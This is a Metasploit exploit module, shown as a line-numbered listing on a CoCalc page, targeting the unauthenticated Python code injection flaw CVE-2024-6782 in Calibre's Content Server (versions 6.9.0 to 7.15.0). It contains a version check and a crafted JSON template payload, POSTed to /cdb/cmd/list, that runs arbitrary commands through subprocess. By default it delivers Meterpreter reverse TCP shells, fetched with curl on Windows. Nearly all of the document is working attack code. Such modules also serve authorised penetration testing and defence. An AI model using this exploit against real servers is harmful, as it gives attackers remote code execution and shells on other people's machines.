CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
class MetasploitModule < Msf::Exploit::Remote
2
  Rank = ExcellentRanking
3
  include Msf::Exploit::Remote::HttpClient
4
  prepend Msf::Exploit::Remote::AutoCheck
5

6
  def initialize(info = {})
7
    super(
8
      update_info(
9
        info,
10
        'Name' => 'Calibre Python Code Injection (CVE-2024-6782)',
11
        'Description' => %q{
12
          This module exploits a Python code injection vulnerability in the Content Server component of Calibre v6.9.0 - v7.15.0. Once enabled (disabled by default), it will listen in its default configuration on all network interfaces on TCP port 8080 for incoming traffic, and does not require any authentication. The injected payload will get executed in the same context under which Calibre is being executed.
13
        },
14
        'License' => MSF_LICENSE,
15
        'Author' => [
16
          'Amos Ng', # Discovery & PoC
17
          'Michael Heinzl', # MSF exploit
18
        ],
19
        'References' => [
20
          [ 'URL', 'https://starlabs.sg/advisories/24/24-6782'],
21
          [ 'CVE', '2024-6782']
22
        ],
23
        'DisclosureDate' => '2024-07-31',
24
        'Platform' => ['win', 'linux', 'unix'],
25
        'Arch' => [ ARCH_CMD ],
26

27
        'Payload' => {
28
          'BadChars' => '\\'
29
        },
30

31
        'Targets' => [
32
          [
33
            'Windows_Fetch',
34
            {
35
              'Arch' => [ ARCH_CMD ],
36
              'Platform' => 'win',
37
              'DefaultOptions' => {
38
                'FETCH_COMMAND' => 'CURL',
39
                'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp'
40
              },
41
              'Type' => :win_fetch
42
            }
43
          ],
44
          [
45
            'Linux Command',
46
            {
47
              'Platform' => [ 'unix', 'linux' ],
48
              'Arch' => ARCH_CMD,
49
              'Type' => :nix_cmd,
50
              'DefaultOptions' => {
51
                'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp'
52
              }
53
            }
54
          ],
55

56
        ],
57
        'DefaultTarget' => 0,
58

59
        'Notes' => {
60
          'Stability' => [CRASH_SAFE],
61
          'Reliability' => [REPEATABLE_SESSION],
62
          'SideEffects' => [IOC_IN_LOGS]
63
        }
64
      )
65
    )
66

67
    register_options(
68
      [
69
        Opt::RPORT(8080)
70
      ]
71
    )
72
  end
73

74
  def check
75
    begin
76
      res = send_request_cgi({
77
        'method' => 'GET',
78
        'uri' => normalize_uri(target_uri.path)
79
      })
80
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
81
      return CheckCode::Unknown
82
    end
83

84
    if res && res.code == 200
85
      data = res.body.to_s
86
      pattern = /CALIBRE_VERSION\s*=\s*"([^"]+)"/
87

88
      version = data.match(pattern)
89

90
      if version[1].nil?
91
        return CheckCode::Unknown
92
      else
93
        vprint_status('Version retrieved: ' + version[1].to_s)
94
      end
95

96
      if Rex::Version.new(version[1]).between?(Rex::Version.new('6.9.0'), Rex::Version.new('7.15.0'))
97
        return CheckCode::Appears
98
      else
99
        return CheckCode::Safe
100
      end
101
    else
102
      return CheckCode::Unknown
103
    end
104
  end
105

106
  def exploit
107
    execute_command(payload.encoded)
108
  end
109

110
  def execute_command(cmd)
111
    print_status('Sending payload...')
112
    exec_calibre(cmd)
113
    print_status('Exploit finished, check thy shell.')
114
  end
115

116
  def exec_calibre(cmd)
117
    payload = '['\
118
    '["template"], '\
119
    '"", '\
120
    '"", '\
121
    '"", '\
122
    '1,'\
123
    '"python:def evaluate(a, b):\\n '\
124
     'import subprocess\\n '\
125
      'try:\\n  '\
126
        "return subprocess.check_output(['cmd.exe', '/c', '#{cmd}']).decode()\\n "\
127
      'except Exception:\\n  '\
128
        "return subprocess.check_output(['sh', '-c', '#{cmd}']).decode()\""\
129
    ']'
130

131
    res = send_request_cgi({
132
      'method' => 'POST',
133
      'ctype' => 'application/json',
134
      'data' => payload,
135
      'uri' => normalize_uri(target_uri.path, 'cdb/cmd/list')
136
    })
137

138
    if res && res.code == 200
139
      print_good('Command successfully executed, check your shell.')
140
    elsif res && res.code == 400
141
      fail_with(Failure::UnexpectedReply, 'Server replied with a Bad Request response.')
142
    end
143
  end
144

145
end
146

147